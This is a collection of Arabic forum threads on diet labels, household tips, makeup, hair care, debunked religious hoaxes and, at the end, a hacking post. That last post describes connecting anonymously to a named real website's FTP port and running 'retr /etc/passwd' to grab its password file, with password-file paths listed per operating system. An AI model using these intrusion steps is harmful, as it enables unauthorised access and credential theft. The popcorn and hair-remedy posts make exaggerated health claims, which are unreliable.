التصنيفات
منتدى الرشاقة

اقرأ المعلومات الغذائية جيدا لتحصل على جسم رشيق لرشاقتك

هل ترغبين في الحفاظ على جسم رشيق؟ اذن يجب أن تتناولي طعاما مغذيا وصحيا، هذا ما أكده بحث أجري مؤخرا في اسبانيا.
حيث قام خبراء من جامعة سانتياغو دي كومبوستيلا في أسبانيا بدراسة العلاقة بين عادات بعض المستهلكين وصحتهم العامة. فوجدوا بأن الاشخاص الذين يقومون بأخذ الوقت لقراءة المعلومات الغذائية الملصقة على العبوات والبضائع الغذائية، غالبا ما كانوا افضل صحيا واقل وزنا من اولئك الذين لم يقوموا بقراءة هذه المعلومات الغذائية واختاروا البضائع عشوائيا.
كذلك وجد الباحثون بأن كتلة دليل الجسم لدى المجموعة الاولى كانت اقل بنسبة 1.49 نقطة من المشاركين في المجموعة الثانية، التي لم تقم بقراءة المعلومات الموجودة على العبوات. الاشخاص الاكثر تعليما والأعلى من ناحية مستوى المعيشة خصصوا وقتا أطول لقراءة المعلومات المطبوعة على العبوات.
تحتوي المعلومات الغذائية على نسبة الاملاح، السكر، النشويات، الدهون، الزيوت الطبيعية، والزيوت المهدرجة، والاضافات الصناعية، بالاضافة الى العديد من المكونات الاخرى التي يمكن أن تؤثر على الوزن، والصحة بشكل عام.
ولهذا، تعلم قراءة المعلومات الغذائية الموجودة على المعلبات والعبوات الغذائية قبل شرائها للحفاظ على صحتك ورشاقتك ايضا.



سلمت انااااااملك
و قمر



شكرلك ياسكر حفظك الله من كل مكروه



سلمت يديك :0149:



شكرلك



التصنيفات
السيدات و سوالف حريم

احتفظوا بالمعلومات فقد تحتاجونها يوما ما

بسم الله الرحمن الرحيم

عصير اليمون

لتحصلي على أكبر قدر من عصير اليمون . ضعيه في ماء دافىء قبل استعماله بفترة بسيطة ثم اضغطي عليه بيدك على سطح قاس ثم اعصره .

الدرجة المناسبة للثلاجة

يجب ان تكون درجة حرارة الثلاجة 5 درجات مئويه فهي الدرجه المناسبه التي تمنع نمو الكثير من الميكروبات وتكاثرها .

الطريقة المثلى لغسل الصحون

هي ان تترك لتجف بالهواء بعد غسلها ومن الخطأ تركها منقوعة بالماء داخل المغسلة ثم غسلها بالماء نفسه أو تجفيفها بالمنشفة.

رائحة السمك

للتخفي من رائحة السمك عند قليه يجب تغطية المقلاة عند وضع السمك بها .وفتح مروحة الشفط والنوافذ مع وضع قطعة فحم غير مُشعله على الفرن بجانب المقلاة حتى تمتص رائحة السمك .

ملح الطعام يساعد على ..

* إزالة العجينة الملتصقة في المكان الذي فردت فيه , فما عليكِ إلا برش قليل من الملح عليها فإنه يساعد على إزالتها بسرعة .

*

الملح يزيل رائحة الثوم والبصل من اليدين .

لاطفاء الزيت المشتعل

إذا تعرض الزيت للاشتعل تغطى المقلاة كلياً بغطاء أو منشفة حتى تمنع دخول الهواء , أو ينثر عليه ملح فينطفي بإذن الله .

لا تتسببي في تسمم افراد عائلتك

احرصي على تغيير ليفة غسل الأواني من آن لآخر .لأن البكتيريا سريعاً ماتراكم بين خيوطها عند استعماله لفترة طويلة .

للتخلص من الطعام الملتصق بالأواني

للتخلص من بقايا الطعام الملتصق بالأواني دون الحاجة إلى جهد كبير , يمكنكِ نقعها في الماء الساخن المضاف إليه ملعقه كبيره من بيكربونات الصوديم .

حتى لا تدمع عيناك

ضعي البصل في قدر فيه ماء قبل تنظيفه لمدة نصف ساعة حتى لاتدمع عيناك عند تقطيعه أو ضعيه في الفريزر لمدة نصف ساعة .

طريقة سلق البيض المشروخ

يمكنكِ تغليفه في ورق الألمنيوم ‘قصدير ‘ ثم إسقاطه في الماء المغلي .أما إذا كان البيض سليم من الشروخ فيوضع في ماء فاتر عند سلقه حتى لا يتكسر .

زيادة التوابل في الطعام

في حالة زيادة كمية التوابل في الطعام يمكنكِ إضافة بعض من البن الزبادي فهو يساعد على إضعاف حدة طعم التوابل .

طريقة تزين الطبق بالفجل

يشق الفجل بالطول بواسطة سكين إلى ما قبل قاعدته بقليل ثم ينقع بالماء البارد مدة نصف ساعة فينتفخ على شكل وردة .

طريقة ازالة البان من الملابس

عليك بأحضار قطعة من الثلج وتمريرها على المكان الملتصق به البان فيكتسب البان صلابة ممايسهل من عملية تفتيته دون أن يؤثر على النسيج ثم قومي بأستخدام فرشاة الملابس للتخلص من البقايا .

إذا بدأ الطعام بالأحتراق

فغيري القدر مباشرة واتركي الأكل الموجود في اسفل القدر ثم ضعي عليه شريحة كاملة من الخبز العربي فهي تمتص الطعم والرائحة .

بقع مستحضرات التجميل على السجاد

سواء كانت روج أو كريم اساس أو غيره من مستحضرات التجميل يمكنك تنظيفها بمنظف الزجاج وذلك برشها فيه قبل ان تغسليها بالماء والصابون ثم تدعكينها بالفرشه المخصصه للموكيت ثم تجففينها بفوطة صغيره . .

طريقة التقليل من ملوحة الطعام

إذا كان الطعام مالح وهو مازال على النار فيمكنك تقشير بصله أو بطاطسه وتقطيعها مكعبات كبيره وغرسها في القدر وعند التقديم تزال فهما يمتصان الملح الزائد .

لازلة بقعة الحبر

لازلة بقعة الحبر عن الملابس رشي عليها قليلا من بخاخ او اسبري مثبت الشعر.ثم اغسلي القطعه وعندها ستجيدين ان البقعه قد اختفت تماما.

لأزالة بقع الالوان من ملابس الأطفال

إذا اتسخت ملابس طفلك بالالوان انثري عليها قطرات من عصير اليمون أو الخل أو الملح وبإذن الله سوف يساعد على إزالتها .

طريقة تنظيف المكواة

مع مرور الوقت تكتسب المكواة لونا مصفرا مزعجا الا ان الحل بسيط بمسح المعدن بنصف ليمونة حامضة اما الثقوب فيمكن تنظيفها بعيدان قطنية مبلة بالقليل من الماء والصابون

طريقة تنظيف فتحات المكواة

السد الذي يحدث في فتحات المكواة التي تعمل بالبخار يمكن علاجه ، وذلك بملء خزانها بالخل ، وهي ساخنة (بعد نزع الفيشة) . وبعد دقائق معدودة قومي بشطفها ، ثم ملئها بالماء مرة أخرى ، ستجدين البخار يتدفق بانسيابية وقوة

تحياتي

لا تحرموني من الردود




يعطيك العافية



خليجية




*`*`*`*`*`*`*`*`*`*`*`*`
تسلم يمناكِ ع المجهود الأكثر من رائع..
*`*`*`*`*`*`*`*`*`*`*`*`



التصنيفات
المواضيع المتشابهة للاقسام العامة

لكل سن ماكياجه ولكل بشرة ألوانها . المعلومات ا

ليس فقط لكل سن ماكياجه الخاص به بل أيضا لكل نوع من أنواع البشرة طريقة معينة لوضع الماكياج بحسب استدارة الوجه وملامح الشخصية، فلون البشرة وتألقها يبرز جمالها ،
ويحدد ملامحها ويجعلها خلابة ومتألقة لأن البشرة تشبه قطعة القماش الشفافة التي يبرز جمالها وعيوبها باستخدام الماكياج.

البشرة البيضاء
ولكي تحصل الفتاة على وجه فاتن ومتألق عليها أن تبرز جمالها عبر فن التعامل مع بشرتها، لذلك فهناك أساسيات في اختيار الماكياج، فعلى سبيل المثال البشرة البيضاء يجب أن يكون كريم الأساس أغمق منها بدرجة واحدة بينما يتم اختيار بودرة أفتح من لون الأساس، أما ظل العين فينصح بالدرجات الفاتحة من الأزرق والأخضر والبنفسجي، وبالنسبة للماسكرا فالبني الغامق يناسب صاحبات البشرة البيضاء، أما الحواجب فيمكن تحديدها بظل أغمق قليلا من لون الشعر، كما ينصح باختيار أحمر الخدود ذي اللون البرتقالي أو الزهري بدرجاته، وقلم التحديد الخاص بالشفاه يجب أن يتناسب مع أحمر الخدود ويكون من الألوان الهادئة.

البشرة البيضاء المائلة إلى الاحمرار
أما البشرة البيضاء المائل لونها إلى الاحمرار فغالبا ما تتميز صاحبتها بالشعر الأحمر أو الأشقر وعليها اختيار كريم الأساس السائل والمائل إلى البرتقالي أو الخوخي، والظلال ابتداء من الألوان الفاتحة إلى البني الداكن، كما تناسبها الماسكارا ذات اللون الأسود أو الأزرق أما الحواجب فيمكن تحديدها باللون البرونزي أو المائل إلى الاحمرار، أحمر الخدود والشفاه يفضل أن تكون بتموجات اللون البرتقالي المائل إلى الاصفرار أكثر من الأحمر .

البشرة المائلة للون الذهبي
هناك أيضاً بشرة تقترب إلى اللون الذهبي أو الأصفر فماكياجها لا بد وأن يعتمد على كريم أساس بلون البيج، وبودرة افتح بدرجة واحدة من لون كريم الأساس مع بعض التموجات الفاتحة، والظل يجب مع لون العين ويفضل الفاتح منه كالأخضر والأزرق ولا تضع صاحبة هذه البشرة الألوان القاتمة، أما الحواجب فإذا كانت فاتحة تستخدم الأغمق من نفس اللون وأحمر الخدود والشفاه تستخدم الألوان المائلة للأحمر أو البرتقالي .
:rmadeat-712c2fb95b:




مشكووووووووووووووووووووووووووو وووورة ياقلبي
يعطيك ألف عافية



يعطيك عافيهـ آختي
في إنتظار جديد



ينقل للقسم المناسب



يسلمووووووووووو يا قمر



التصنيفات
الاستشارات الخاصة و استشارات الصحة و الطب

هل تصدق هذه المعلومات عن الفشاااار

هل تصدق ان كل هذا في الفشار … Popcorn
خليجية

طير و فرقع يابوشار

****************************** *****

هل تصدق ان” الفشاريحفظ التوازن العضوي و النفسي للانسان

وانه يتفوق على” القهوة” في تنبيهالمخ

و يجلب الاحساس بالسعادة و
البهجة

دون ايه آثارجانبية

هذة حقائق كشفت عنها دراسه علميه في المركز القومي للبحوثبالقاهرة

حيث اكــد الدكتور فوزي الشوبكي

خبير التغذيةبالمركز _ في دراسته _ ان تناول الفيشار يحفز خلايا

المخ على

انتاجمادة” السيروتونين” المسؤوله عن

الحفاظ على التوازن العضوي و النفسيللانسان

التي تعد من اهم الموصلات العصبية الللازمه لتنبيه خلايا المخ

وزيادة اليقظه

دون حدوث اي ارتفاع في ضغط الدم او زيادة دقاتالقلب

ليتفوق الفيشار في هذا المجال على” الكافيين” الموجود فيالقهوة

ومادة” السيروتونين” مسؤوله ايضا عن توليد الشعور بالبهجة والسرور

و الاقبال على الحياة

واضاف فوزي ان” الفيشار” يحتوي علىالمجموعه المتكامله

من فيتامين” ب” المركب و هي

من اهم العناصرالغذائية لسلامه الموصلات العصبية

في المخ و الجهاز العصبي في كلالجسم

و اشار الى ان” الفيشار” يحتوي ايضل على كمية من البروتين

والاحماض الامينيه اللازمه لتجدد

الخلايا الداخلية لجسم الانسان و خاصه خلاياالمخ

بالاضافه الى فيتامينات” أ” و” ك” اللازمه لصحه و سلامهالانسان

لحقوا عليه … قبل ما يصبح اغلى منالذهب هههههههه




خليجية



يسلمووووووووو



يسلمووووووووووو يا عسل الحين عرفت سر سعادتي عند اكل الفشااااااااااااار؟؟؟؟؟؟؟؟؟؟؟ه هههههههههه



اقتباس:
المشاركة الأصلية كتبت بواسطة الماسهkho خليجية
يسلمووووووووو

الله يسلمك ياقلبووووووووووووووو:11_1_120[1]:




التصنيفات
منوعات

كل المعلومات حول شعرك هنا للعناية بالشعر

كثيرا ما تواجهه بعض السيدات أسئلة كثيرة تحتاج الي أجوبة سريعة لمشاكل يومية يتعرض لها شعرك بأستمرار نتيجة عدم معرفتك بطرق حل هذه المشاكل أو نتيجة أعتقاد خاطئ منا يجب تصحيحه ..إليك بعض الأسئلة الخاصة بالعناية بالشعر وإجاباتها

ماذا عن فرشة الشعر؟ كيف يكون تنظيفها؟

من الأفضل أن يتم تنظيف فرشة الشعر أسبوعيا في الأحوال العادية ، إلا إذا أستخدمتيها اثناء وضعك للزيت فأنك يجب غسلها بعد ذلك مباشره وما عليك سوى غمرها بالماء الساخن لمدة 5 دقائق ثم شطفها بالماء الدافيء فبذلك تتخلصي من الأوساخ العالقة

أعاني من ظهور القشرة بالشعر فما هو أفضل شامبو للأستخدام في نظرك ويحتوي على بلسم أيضا؟

تظهر قشرة الشعر عند الأشخاص ذوي البشرة الدهنيه والجافة ، ويكون أغلب الأسباب هي الأفرازات الدهنيه الكثيره المتراكمة أو الخلل في الغدد الموزعة للدهون في فروة الرأس .، وأفضل شامبو في هذه الحالة Glytone وهو شامبو طبي للتخفيف من ظهور القشره ، ويستخدم لمدة لا تقل عن 3 شهور بمعدل 3 مرات اسبوعياً ، ومن ثم تستخدمي شامبو ضد القشرة مناسب لشعرك مثل herbal أو سباركل ضد القشرة أو هيدأند شولدر وذلك مدة شهرين للمحافظه على أستقرار معدل أفراز الدهون ، وذلك قبل عودتك لآستخدام الشامبو الخاص بك ، وبالنسبة للبشرة الجافة فتكون القشور بها كبيرة الحجم وغالباً يكون ظهورها أثناء الشتاء

ما هو أفضل زيت لعمل حمام الشعر؟

يمكنك استخدام الزيوت المخلطه والتي وضعت بمقادير صحيحة وأفضل أنواع الزيوت هو زيت Sparkle Gold المتوفر بالأسواق لأحتوائه علي زيت المنك أفضلا زيت مماثل لزيوت الجسم .

أريد شيء يثبت السشوار بشكل طبيعي ؟

بعد القيام بعمل سشوار الشعر عليك بعمل التسريحه التي ترغبين بها ، ومن ثم قومي بارتداء (الحليه) قطعة القماش المخرمه الخاصه برولات الشعر وأحرصي على أن تكون التسريحه كما آردتيها حتى لا يتغير شكلها ، أما في الجزء الامامي من الشعر فأبقي رولات الشعر كما هي حتى لا ينخفض مستوى الشعر من الأمام فتبقى هيئته جميله ثابته.

شعري ناعم ولكنه يفتقد للمعان فماذا أعمل غير أستخدام الزيوت فليس لدي وقت لذلك؟

يمكنك أستخدام ماء الشاي بعد غليه وتبريده .. قومي بصبه فوق الشعر بعد الأستحمام بالشامبو مباشره وأتركيه على الشعر ، وستشعرين بالفرق وبزيادة النعومه

قمت بعمل الصبغه عدة مرات متتاليه وأعاني من التقصف .. ليس بالأطراف فقط ولكن على طول الشعر علماُ بأن شعري طويل فما العمل ؟

تكرار الصبغه عدة مرات تتسبب في تقصفه وخاصه عندما تهمل العنايه به ، فالشعر المصبوغ يحتاج للعنايه أكثر من الشعر الغير مصبوغ ، وذلك بأستخدام حمامات الزيت دائماً والتدليك وعمل المساج لتنشيط الدوره الدمويه في الرأس ، وما عليك الأن هو أن تقومي بقص الأجزاء المتقصفه منه وتبتعدي عن الصبغه لمده لا تقل عن 6 اشهر ، وعليك خلال هذه المده أن تكثفي من آهتمامك به بما سبق ، وأحرصي مستقبلا على أن تكون الفتره بين كل صبغه وأخرى لا تقل عن 3 اشهر لتفادي مشاكل ما بعد الصبغه .. فأكسجين الصبغه يعمل على تدمير البنيه السطحيه للشعره.اذا أستخدم بكثره.

هل ما يقال عن أن المشط يسبب تقصف الشعر صحيحاً؟

نعم فبعض أنواعها يساعد كثيرا بتقصف الشعر ، ولذلك ينصح دائماً بأستخدام الأمشاط ذات الأسنان الخشبيه ، لأنها تمنع ظهور المجال الكهروستاتيكي .. الذي يتولد أثناء أحتكاك الأمشاط البلاستيكيه أو المعدنيه مع الشعر أو فروة الرأس

كم مره يجب ان يقص الشعر بالسنه؟

ينصح بقص أطراف الشعر 4 مرات بالسنه ، لتفادي الأطراف المتقصفه منه وللتسريع من عملية نموه .. وخاصه من الأطراف ذات النمو السليم .

هل أستخدام المجفف الكهربائي مضر للشعر ويسبب تقصفه ؟

للمجفف الكهربائي أنواع ، فالحار منها يسبب تقصف الشعر عند تكرر أستخدامه ، ولكن يوجد المجفف الهوائي فهو أنسبها وليس منه أي مخاطر فهو بالعكس مفيد لعمل مساج لطيف للشعر وخاصه بعد الأستحمام ، ولكن يراعى عدم شد الشعر بفرشة اللف.. فيجب تسريحه بطريقه لطيفه حتى لا نؤذي جذوره.

هل تسريح الشعر أثناء الأستحمام أو بعده مباشره فيه ضرر؟ وماهي أفضل طرق تسريحه؟

نعم .. فهذا سبب مباشر في زيادة تساقط الشعر ، لأن بصيلات الشعر تكون أضعف ما يكون في حالة البلل ، ولذلك يراعى عدم تسريح الشعر قبل مرور ربع ساعه ، وأفضل طريقه هي تسريحه من الأسفل للأعلى لتنشيط الدوره الدمويه

متى نستخدم الفرد الكيماوي؟ وما أفضل طريقة لعمله بالمنزل؟ وما هو أفضل كريم لفرد الشعر الأجعد ؟

نستخدم الفرد الكيميائي في حالة أن يكون الشعر مجعداً ونضطر دائما لتسريحه بالسيشوار العالي الحراره. يمكنك القيام بعمله بالمنزل ولكني تجنبي زيادة حرارة الماء عليه فيؤدي ألى ظهور تشققات وتقصفات في وسط الشعره . أماكريم الفرد الشعرمن ويللا هو الأفضل على الأطلاق ومتميز بالنسبه للشعر الأسود بالذات

يقال أن تجفيف الشعر بالمنشفه يزيد تساقطه ؟

هذا كلام غير صحيح ولكن الطريقه الخاطئه هي من يتسبب بتساقطه وتقصفه ايضاً فيجب الحرص عند أستخدام المنشفه على تجفيفه بالخبط عليه بالمنشفه وليس بأحتكاكه بعضه ببعض وخاصه عند الجذور وقريباً من البصيلات.

هل القشره سبباً في تساقط الشعر؟
نعم هي من أقوى الأسباب فيجب التخلص منها بالعلاج أولاً لأنها تعمل على أختناق البصيلات فبالتالي سقوطها.

هل الموس المستخدم في تجعيد الشعر يسبب تقصف الشعر وسقوطه؟

الموس من أخطر المواد الكيميائيه التي توضع على الشعر وهو السبب الرئيسي في تكسر الشعره وبالتالي سقوطها وهي في أوج قوتها وأن كان لا بد من أستخدامه فينصح بعدم تركه على الشعر مده طويله والحرص عند غسله بازالة جميع آثاره..

ماهي زيوت الفيتوبولين ؟

زيوت الفيتوبولين زيوت مقويه لها مفعول السحر على الشعر فتوضع أسبوعيا لتغذية الشعر وأكسابه نعومه ولمعان حقيقي فهو يوفر لها العناصر الضروريه .

كيف يمكنني أن أحدد الشامبو المناسب لطبيعة شعري؟

للشعر الدهني:شامبو الليمون
للشعر العادي:التونك شامبو
للشعر الجاف :شامبو البيض
للشعر الذي يعاني من القشره: شامبو خل التفاح

ما هو شامبو البيض الطبيعي وما فائدته؟

هو خفق عدد 2 بيضه بالنسبه للشعر متوسط الطول ويزيد العدد حسب طول الشعر مع القليل من الماء ثم يدهن الشعر حتى أطرافه مع عمل مساج خفيف ثم يغسل بالشامبو وهو مفيد جداً في حالة الشعر الذي يعاني من القشره أو الشعر شديد الجفاف أو الذي كان متقصف الأطراف

هل لوضع المايونيز الذي نأكله فائدةعلي الشعر ؟ وهل يوجد ضرر عند أستخدامه ؟ وكم المدة المسموحة لبقاءة في الشعر ؟ وكم الكمية التي توضع ؟

وضع الميونيز يمنع تساقط الشعر بشكل ملحوظ فقد ثبتت فوائده لهذا الغرض ولا يوجد أي ضرر لأستخدامه ويترك على الشعر لمدة ربع ساعه فقط ، وبكميه محدوده لا تتجاوز ملعقه واحده اسبوعياً.

بعضنا يعاني من ظهور شعر أبيض مع أننا صغيرات ما زلنا في سن الشباب فكيف نتخلص منه ؟ مع العلم أن بعضنا لم يستخدم أي نوع من الصبغات مسبقاً ؟

ظهور الشعر الأبيض في سن مبكر له عدة اسباب :
1- الوراثه وهي الغالبه في حالتك اختاه لانها مشكله ظهرت لجميع اخواتك.
2- خلل في الافرازات الهرمونيه.
3- نقص في صبغة الميلانين في بعض الاماكن المختلفه من الرأس.
عليك بأستخدام زيت المريميه كما يسمي بالعربية أدهني الشعر الأبيض به بطبقه رقيقه ، وآستمري على ذلك يومياً حتى تزول المشكلة.




مشكوووووورا



بسم الله الرحمن الرحيم

مشكوووووووووووووووووووووووووور ة




تسلمين يا قلبى ع الموضوع الحلو



ذوق وربـــــــي

سلمتـ يمناكـ يا عســـــــل




التصنيفات
منوعات

كذبه موضوع للتنبيه وتصحيح المعلومات فقط ~~~~ أرجو التثبيت لأهمية الموضوع

السلام عليكم ورحمه الله وبركاته

موضوع جيد ومهم خطر بالي منذ فترة وجدت نفس المضمون
في أحد المنتديات فأحبت أن أنقله مع بعض الاضافات
والتعليقات ، علماً بمحاولتي قدر الامكان الربط بين الصور المقصودة او التي اعلن عنها
وبأسفل منها حقيقة الصورة أو أساسها
==============

للأسف هنالك بعض الأخبار المنشورة تكون نموذج سئ لبعض المواضيع الي تطلع علينا بين الحين والحين , بعض الشباب -والله اعلم بنياتهم- يقومون بتحذير وتخويف للناس من المعاصي بهذه الطريقة .
فنقوم بارسالها عبر الإيميل وضعها بالمنتديات ثم نكتشف بعد فترة أنها كانت كذبا في كذب ولكن بعد أن يكون قد ضحك منا أعداؤنا وشبعوا ضحكا وقد قرأت في احدى الصحف أن هناك جمعية من العلمانين هدفها نشر مثل هذه الخزعبلات وسط الشباب لصرفهم عن الدين الصحيح وفيما يلي امثلة من هذه الحوادث التي ثبت كذبها جميعا

الكذبة الأولى: قصة الفتاة العمانية التي تحولت لعنزة مشوهة لانها استهترت بقراءة القرآن

الحقيقة : الصورة هي صورة عمل فني تخيلي بالشمع لاناس مستنسخين
خليجية
خليجية

الكذبة الثانية: قصة الشاب الذي فتحوا قبره بعد 3 ساعات فوجدوه متفحما من اثر عذاب القبر ونشرت صوره
الحقيقة : الجثة لفتاة سعودية احترقت في حادث

خليجية
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة الثالثة: قصة الأصوات التي صدرت من الأشجار في الغابة ويدعي الخبر ان أحد العلماء صمم جهازا لفك شفرة الأصوات ومن ثم وجد انها تنطق بكلمة ‘الله’ فأسلم بعدها

الحقيقة: الخبر مفبرك من موقع يسمى ‘اليبرالين العرب ‘ بغرض السخرية من المسلمين

~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة الرابعة: قصة نيل ارمسترونغ وسماعه الاذان من على سطح القمر والقصة المثيرة لاسلامه بعد عودته الى الارض

الحقيقة: كذب مكتب ارمسترونغ هذا الخبر جملة وتفصيلا, كما عقد شخصيا مؤتمرا صحفيا بالهند لنفي هذه الشائعة بعد انتشارها في انحاء العالم

~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة الخامسة: صورة الجني الذي قام شاب اماراتي بتصويره في كهف ومات الشاب مباشرة بعد تصويره

الحقيقة : الجني عبارة عن مجسم منحوت متقن في احد الكهوف وعيونه متصلة بمفتاح كهربائي لاضاءة العينين بالون الاحمر
خليجية
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة السادسة: صورة لحديقة بالمانيا وقد كونت جذوع الاشجار على الجانبين شهادة التوحيد مع الادعاء ان المانيا قد اغلقت الحديقة

الحقيقة : الصورة هي لوحة لفنان مصري وقد تم حذف توقيعه من عليها
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة السابعة: في احد المستشفيات الامريكية جهاز رسم القلب لأحد المرضى يرسم كلمة الله

الحقيقة : منتدى علماني قذر هو مؤلف ومروج هذه الاشاعة ليضحك منا كما سترون لاحقا

خليجية
~~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة الثامنة: اسلام مايكل جاكسون .

الحقيقة : مايكل جاكسون يعلن احترامه للاسلم ولكنه ينفي بشدة الدخول فيه . (ان الله لغني عن العالمين

خليجية
~~~~~~~~~~~~~~~~~~~~~

يتبع للأسفل




الكذبة التاسعة: اسلام تشيلسي ابنة بيل كلينتون

الحقيقة: نفت تشيلسي هذه الشائعة واضافت بأنها مهتمة بالدين الاسلامي ولديها نسخة مترجمة من القران الكريم

~~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة العاشرة: صورة الحرمين المكي والمدني تظهر مضيئة ليلا في صور التقطتها الاقمار الصناعية .

الحقيقة : الصورة ملفقة بالفوتوشوب حيث أنها التقطت نهارا وتم تغميق المباني المحيطة بالحرمين للايحء انها التقطت في الظلام . (بيوت الله مضيئة بالمصلين الركع السجود وليست بحاجة لفوتوشوب!)

خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة الحادية عشر: صورة من وكالة ناسا توضح خط على سطح القمر من أثر انشقاقه للنبي .

الحقيقة : الصورة أيضا ملفقة بالفوتوشوب ، وبالبحث في موقع ناسا لم يوجد أي أساس لهذا الخبر
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

الكذبة 12- الأخبار حول احتراق جثة الرسام الدنماركي المستهزئ بالمصطفى صلى الله عليه وسلم وتكتم الحكومة الدنماركية على الخبر

الحقيقة: ظهر الرجل ويظهر مرات عديدة في وسائل الاعلام, ومن ذا الذي يحتاج احتراق الرجل حتى يثبت ضلاله.

خليجية
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

الكذبة 13- خروج نافورة رملية من الارض في السعودية ، وبعض الجهّال يرمزون للآية (وأخرجت الأرض أثقالها) وانها من علامات قيام الساعة

الحقيقة: ماسورة أو انبوب غاز تحت الارض (مدفون) تابع لشركة أرامكو وتم التعامل مع المشكلة فوراً من قبل الشركة

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

الكذبة 14- صورة لقبر الرسول اللهم صلي وسلم عليه

الحقيقة: ليست كذلك وكثير منا يعلم هذا ويكفيك من الفبركة الجدران والشباك التي حول هذا القبر ولكن… لا تعليق!!

خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~

الكذبة 15- صورة الشيطان في أحداث 11 سبتمبر

الحقيقة: تعديل للدخان برنامج الفوتوشوب
خليجية

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~

الكذبة 16- ظهور صورة صدام حسين (رحمه الله) بعد اعدامه
خليجية
الحقيقة: أيضاً احترافية اخرى وتعديل بالفوتوشوب
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~

أتمنى ان تكونوا صدقتوا كل ما كتب
وارجوا
التقييم من الميزان
وايضا ارجوا تثبيت الموضوع لأهميته




تسلم يدك يعطيكي ألف عافيه عالتنبيهات المهمه والله يكافيهم الي يستهزؤا بعقول المسلمين والمسلمات ويشغلهم عنا في

أنفسهم




اكسير الحياة
نورتي حبيبتي الموضوع
وشكرا لتعليقك الحلو متلك



جزاكى الله خيرا على هذا التنبيه



التصنيفات
منوعات

كل المعلومات و طرق الاختراق و الهكر عن طريق الدوس ضروري تشوفو

السلام عليكم ورحمة الله وبركاته
تعلم الهكر واخطر اوامر الدوس

أخطر اوامر الدوس

أخطر أوامر الدوز التي يستخدموها الهكر المحترفين
)()(أخطر استعمالات وأوامر الDoS والمتداولة بين الهكرز)()( =][أدخل واتعلم][=

أوامر DoS مع الشرح سوف تجدها في هذا الموقع

nor2000.com

/****************************** *****************/

=========================
هذا المعلومات أنا محضرها لكم من أغلب المنتديات وأتمنى تعجبكم وتستفيدون منها

بسم الله الرحمن الرحيم

* لكي تستطيع اختراق موقع لا بد أن تعرف اسم المستخدم وكلمة المرور الخاصة بالموقع

User name-Password

وهما يكونان محفوظين في ملف يسمي

PASSWDغالبا

بعض المواقع تضع هذا الملف في الإف تي بي

ما هو إف تي بي؟

FTP=File Transfer Protocol بروتوكول نقل الملفات

تستطيع الاتصال بالموقع وسحب هذا الملف عن طريق التلنت

start==>run إبدأ ثم تشغيل

واكتب telnet

سيفتح التلنت اضغط علىRemote System ==> connect

ثم اكتب الموقع في Host Name مثلا

kahane.org أو الآيبي الخاص به

وفي PORT اكتب 21 وهو البورت الخاص بالإف تي بي

ثم اضغط connect

وبعد أن يظهر رد السيرفر اكتب ولكن..لن ترى ما كتبت!! شفرة source code

user anonymous

ثم انتر بعدها يطلب السيرفر كلمة السر اكتب

pass zzzoozz@.com

اكتب أي بريد كلمة سر وطبعا سيكون وهميا

ماذا فعلنا؟لقد دخلنا إلى سيرفر الموقع في وضع التخفي وبعض المواقع تسمح بهذه الخاصية وبعضها لا يسمح..

بعدها سنحصل على ملف الباسورد

قبل ذلك أحب أن أذكر أنه يمكنك عمل الأشياء السابقة عن طريق أي برنامج إف تي بي مثل

cute ftp – ws_ftp

مثلاأو حتى الذهاب إلى المتصفح وكتابة الموقع هكذا في حقل العنوان

ftp.kahane.org

لتحصل على الملف في التلنت اكتب

retr /etc/passwd

/etc هو المجلد الذي يحتوي الملف passwd ويختلف اسم المجلد واسم ملف الباسورد باختلاف نظام تشغيل الموقع

Sunos 5.0 etc/shadow او etc/passwd
Linux etc/shadow او etc/passwd
BSD4.3 –RENO etc/master.passwd
AIX etc/security/passwd
NT ويندوز ******s/passwd

وتختلف أسماء ملف الباسورد بين passwd و admin.pwl و غيرها

= = = = تابع = = = =

أغلب استخدامات الدوز والمعروفة

1-command هذا الامر يدخلك الى موجه الدوس .
2-regedit هذا الامر لمحر سجل الوندوز ( الشجرة ) .
3-icwscrpt هذا الامر خاص بنسخ ملفات ال dll
4-scandskw هذا الامر لعمل تفحص للاقرص .
5-imgstart هذا الأمر لتشغيل قرص ويندوز المضغوط
6-msiexec حقوق تركيب ويندوز .
7- : d : c للوصل السريع إلى الدرايفرات
8-hwinfo /ui لمعرفة معلومات عن جهازك وفحصه بالكامل عن طريق الدوس واعداد تقرير بذلك
9-cleanmgr وهذا الامر يشغل برنامج تنظيف القرص
10-packager وهذا الامر لبرامج يغير الايقونات
11-recent هذا الامر لإستعراض ملف المستندات ( الموجود في قائمة إبدأ
12– sysedit هذا الامر(لفتح محرر تكوين النظام) لويندوز 98. حيث يقوم بفتح هذه النوافذ الخمسة التالية :
protocol.ini
system.ini
win.ini
config.sys
autoexec.bat
13-sfc وهذا الامر لإسترجاع بعض ملفات ال dll عندما تتلف
14-taskman وهذا الامر لمشاهدة البرامج التي تعمل حاليا
15-debug لمعرفة نوع كرت الفيديو او الشاشة
16-DEFRAG لإلغاء تجزئة القرص
17-DVDPLAY مشغل افلام dvd يعمل مع ملينيوم
18-winipcfg لمعرفة IP
19-TEMP للوصل الى ملفات الويندوز المؤقتة
20– tuneup هذا الامر لتشغيل برنامج معالج الصيانة
21-mobsync هذا الامر لظهور برنامج تنزيل الصفحات من الانترنت و تصفحها بدون اتصال
22-cdplayer هذا الامر لتشغيل برنامج قاريء الأقراص المضغوطة
23-ftp هذا الامر لجلب البرامج بسرعه من الدوس .
24-Tips.txt هذا الأمر يظهر بعض أسرار ويندوز 98
25– telnet وهذا الامر يشغل برنامج telnet
26-progman وهذا الامر يأخذك الى قائمة البرامج.
27-drwatson أداة لتشخيص أخطاء النظام.
28-cliconfg.
29– mkcompat.
30-CVT1.EXE
